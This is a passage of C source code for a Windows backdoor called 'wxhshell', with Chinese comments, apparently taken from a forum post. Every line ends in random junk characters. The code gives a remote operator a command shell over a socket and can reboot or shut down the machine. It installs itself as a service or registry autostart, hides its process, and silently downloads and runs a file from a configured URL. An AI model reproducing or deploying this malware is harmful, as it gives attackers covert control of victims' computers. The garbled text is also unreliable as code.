  case '?': { Mn TqWC90  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !0X/^Xv@=  
    break; FJ] ?45  
  } ,pIaYU{D  
  // 安装 u[6aSqwC |  
  case 'i': { *?YMoN  
    if(Install()) 1eOQ;#OV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )-^[;:B\k"  
    else W%@0Ym `7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )St`}qu;  
    break; M a^}7D /  
    } 5%]O'h  
  // 卸载 +wGFJLHJ  
  case 'r': { `]4tJJy$  
    if(Uninstall()) ` M!'PMX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;4k/h/o1#  
    else 'Esz #@R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NX8. \Pf#  
    break; >D_!d@Z  
    } Q(jIqY1Hf  
  // 显示 wxhshell 所在路径 :aR_f`KMm  
  case 'p': { k-I U}|Xz  
    char svExeFile[MAX_PATH]; \[<8AV"E-'  
    strcpy(svExeFile,"\n\r");  L0>7v  
      strcat(svExeFile,ExeFile); WZ N0`Od  
        send(wsh,svExeFile,strlen(svExeFile),0); <lP5}F87  
    break; >!PCEw<i  
    } p%-;hL!  
  // 重启 wUKt$_]``  
  case 'b': { ;8g[y"I  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2#X>^LH  
    if(Boot(REBOOT)) D2'J (  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U*\ 1d  
    else { thSXri?kl  
    closesocket(wsh); 8iC9xSH[%  
    ExitThread(0); FW:V<{f  
    } ."j=s#OC(  
    break; ]SUW"5L-  
    } DHVfb(H5e  
  // 关机 [/U5M>#n  
  case 'd': { o3Z<tI8-V  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Lklb  
    if(Boot(SHUTDOWN)) B pp(5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WDF6.i ?  
    else { ]F sr k  
    closesocket(wsh); Q*8efzgs|  
    ExitThread(0); Ws:+P~8  
    } FDTC?Ii O  
    break; $k^& X `  
    } =\g K<Xh  
  // 获取shell ^C~t)U  
  case 's': { ;aDYw [  
    CmdShell(wsh); Q|7;Zsd:  
    closesocket(wsh); mV.26D<c  
    ExitThread(0); \RmU6(;IQ  
    break; &W%fsy<  
  } y$+_9VzYB  
  // 退出 ] uXmug  
  case 'x': { @5{h+^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); D 4<,YBvV  
    CloseIt(wsh); 9s#*~[E*  
    break; 3w8v.J8q  
    } K_-S`-eH  
  // 离开 dG)}H _  
  case 'q': { H,;9' *84  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); , RU  
    closesocket(wsh); pt%Y1<9Eh?  
    WSACleanup(); 4o kZ  
    exit(1); %";ap8J04F  
    break; +<'>~lDg  
        } h y"=)n(  
  } `gdk,L]  
  } v,c;dlg_  
}i52MI1-XP  
  // 提示信息 *R8P brN  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +oiuulA  
} R]N"P:wf@  
  } Lv@'v4.({  
{; 3a^K  
  return; (S8hr,%n  
} mV|Z5= f  
~Hvf"bvK|  
// shell模块句柄 K QCF "  
int CmdShell(SOCKET sock) &X)^G#  
{ <AB({(  
STARTUPINFO si; 5 ~YaXh^  
ZeroMemory(&si,sizeof(si)); HjT-5>I7f  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; iz2;xa*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9n;6;K#  
PROCESS_INFORMATION ProcessInfo; v K!vA-7  
char cmdline[]="cmd"; }VqCyJu&{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +GT"n$)+  
  return 0;  ?S'Wd=  
} .x_F4#Ka  
?-=<7 ~$  
// 自身启动模式 8>'vzc/* >  
int StartFromService(void) 7*@BCu6  
{ i.''\  
typedef struct +m1*ou'K  
{ ^\w!D{Y7Q  
  DWORD ExitStatus; ye`-U?7.  
  DWORD PebBaseAddress; 4#ZZwa]y  
  DWORD AffinityMask; {  P@mAw  
  DWORD BasePriority; 8:k-]+#o  
  ULONG UniqueProcessId; V BjA$.  
  ULONG InheritedFromUniqueProcessId; 4B@Ir)^(*  
}   PROCESS_BASIC_INFORMATION; >uwd3XW5  
4)d"}j  
PROCNTQSIP NtQueryInformationProcess; +krDmU9(  
[N0"mE<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (4IH%Ez){  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; A5,(P$@ k  
s[}cj+0  
  HANDLE             hProcess; afye$$X  
  PROCESS_BASIC_INFORMATION pbi; ( \7Yo^  
B dxV [SF  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); DS=Dg@y  
  if(NULL == hInst ) return 0; M+WN\.2pX  
c> ":g~w  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); % {A%SDh  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Q6d>tqWhq  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?, cI!c`  
Cg]S`R-  
  if (!NtQueryInformationProcess) return 0; `FAZAC\  
y>& s;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]Mj N)%hT  
  if(!hProcess) return 0; URMxCL^"  
>uJU25)|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; eMUs w5=  
RIq\IQ_|  
  CloseHandle(hProcess); g4GU28l  
6eW9+5oL  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Z"E2ZSa0  
if(hProcess==NULL) return 0; GoPK. E$  
-!X\xA/KN  
HMODULE hMod; Ee'wsL  
char procName[255]; iM"L%6*I^  
unsigned long cbNeeded; W=2#Q2)  
<4%PT2R  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); goc"+ K  
NQ,2pM<*-  
  CloseHandle(hProcess); 9C|-|mo  
nOK1Wc%/'  
if(strstr(procName,"services")) return 1; // 以服务启动 G9h Bp  
hc]5f3Z  
  return 0; // 注册表启动 Yw,LEXLY  
} /\5u-o)  
92Rm{n   
// 主模块 [[KIuW~ot  
int StartWxhshell(LPSTR lpCmdLine) |L~RC  
{ =8E GB\P  
  SOCKET wsl; .p-T >  
BOOL val=TRUE; [W=6NAd  
  int port=0; >/y+;<MZ  
  struct sockaddr_in door; ig4mj47wJ  
p0C|ECH  
  if(wscfg.ws_autoins) Install(); @<B$LJ|jdG  
&\<?7Qj3U|  
port=atoi(lpCmdLine); jWh}cM=  
)<_:%oB  
if(port<=0) port=wscfg.ws_port; wg|/-q-  
WR}<^a x  
  WSADATA data; q[%SF=~<k{  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $i$Z+-W4'  
U9h@1:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Sxc p [g;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); pGsu#`t  
  door.sin_family = AF_INET; mh8)yy5\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;b^"b{  
  door.sin_port = htons(port); FyA0"  
!}L cJ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }?[a>.]u  
closesocket(wsl); (BY5omlh  
return 1; pt~b=+bBm  
} gU@BEn}  
z=K hbh  
  if(listen(wsl,2) == INVALID_SOCKET) { I->4Q&3  
closesocket(wsl); N683!wNX  
return 1; `yrJ}f  
} <[tU.nh  
  Wxhshell(wsl); ]/odp/jm  
  WSACleanup(); MO_;8v~0  
8Oo16LPD  
return 0; `D0H u!;  
*w6(nG'M{  
} _[ S<Cb*1  
AI2@VvB  
// 以NT服务方式启动 Kl w9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -PskUl'  
{ Cm#[$T@C  
DWORD   status = 0; rIJd(=  
  DWORD   specificError = 0xfffffff; B#[.c$  
B S+=*3J  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "ac$S9@~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @fI 2ZWN|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; QP!0I01  
  serviceStatus.dwWin32ExitCode     = 0; E,7b=t  
  serviceStatus.dwServiceSpecificExitCode = 0; cGS7s 8U  
  serviceStatus.dwCheckPoint       = 0; "i; "  
  serviceStatus.dwWaitHint       = 0; :PQvt/-'(D  
zl!Y(o!@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); AR7]~+ X  
  if (hServiceStatusHandle==0) return; *hkNJ  
zl@hg<n  
status = GetLastError(); "[\),7&03  
  if (status!=NO_ERROR) X5c)T}pyv  
{ 3zo:)N \K  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !Q5NV4gd+  
    serviceStatus.dwCheckPoint       = 0; n^%",*8gD*  
    serviceStatus.dwWaitHint       = 0; _:VIlg U  
    serviceStatus.dwWin32ExitCode     = status; }vt>}%%  
    serviceStatus.dwServiceSpecificExitCode = specificError; RV_+-m{]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;<nQl,2N  
    return; v42Z&PO   
  } L'<.#(|  
d`4F  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; U t.#h="  
  serviceStatus.dwCheckPoint       = 0; 'Sjt*2blq  
  serviceStatus.dwWaitHint       = 0; zAO|{m<A2  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ++Fk8R/$U[  
} 6}GcMhU<r  
.X{U\{c|a  
// 处理NT服务事件,比如:启动、停止 @;h$!w<  
VOID WINAPI NTServiceHandler(DWORD fdwControl) fb D  
{ B"2#}HM  
switch(fdwControl) 3Jw}MFFV  
{ mI-9=6T_  
case SERVICE_CONTROL_STOP: n@y*~sG]  
  serviceStatus.dwWin32ExitCode = 0; }TwSSF|}3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; vs(x;zpJ  
  serviceStatus.dwCheckPoint   = 0; Hjc *W Tu  
  serviceStatus.dwWaitHint     = 0; cUc:^wvLS  
  { "UTAh6[3oD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); */A ~lR|  
  } ZoroK.N4A%  
  return; 8 J;\Z  
case SERVICE_CONTROL_PAUSE: 6:qh%ZR  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; U$ 22r b  
  break; 7r wNjY#  
case SERVICE_CONTROL_CONTINUE: &,C;_3   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _4~q&? }V  
  break; C vWt  
case SERVICE_CONTROL_INTERROGATE: 3Tz~DdB  
  break; D 4\ * ,w  
}; Q(h/C!rKe  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M 3c  
} 9 hdz<eFL  
|J^$3RX  
// 标准应用程序主函数 }<g- 0&GLm  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) y\c-I!6>26  
{ <F-W fR  
C,nU.0  
// 获取操作系统版本 H:.l:PJ  
OsIsNt=GetOsVer(); MNd[Xzm  
GetModuleFileName(NULL,ExeFile,MAX_PATH); `nEe-w^9)I  
w~}.c:B  
  // 从命令行安装 6'qu[ ~ }Q  
  if(strpbrk(lpCmdLine,"iI")) Install(); OmAa$L,'w  
AIw<5lW  
  // 下载执行文件 41NVF_R6J  
if(wscfg.ws_downexe) { %mMPALN]{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) w}r~Wk^dLI  
  WinExec(wscfg.ws_filenam,SW_HIDE); B),Z*lpC  
} {x<yDDIv_  
0:q R,NW^#  
if(!OsIsNt) { xoyH5ZK@  
// 如果时win9x,隐藏进程并且设置为注册表启动 *{s 3.=P.  
HideProc(); *1CZRfWI  
StartWxhshell(lpCmdLine); q1vsvL9Q  
} >!%F$$  
else 2~RG\JWTA  
  if(StartFromService()) #Iwxt3K  
  // 以服务方式启动 *W$bhC'w  
  StartServiceCtrlDispatcher(DispatchTable); N Ah^2X  
else ZCz#B2Sf8  
  // 普通方式启动 _Sn45h@"  
  StartWxhshell(lpCmdLine); &@/25Y2  
WC`x^HI  
return 0; :XeRc"m<  
}
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只看该作者 1 发表于: 2006-10-10
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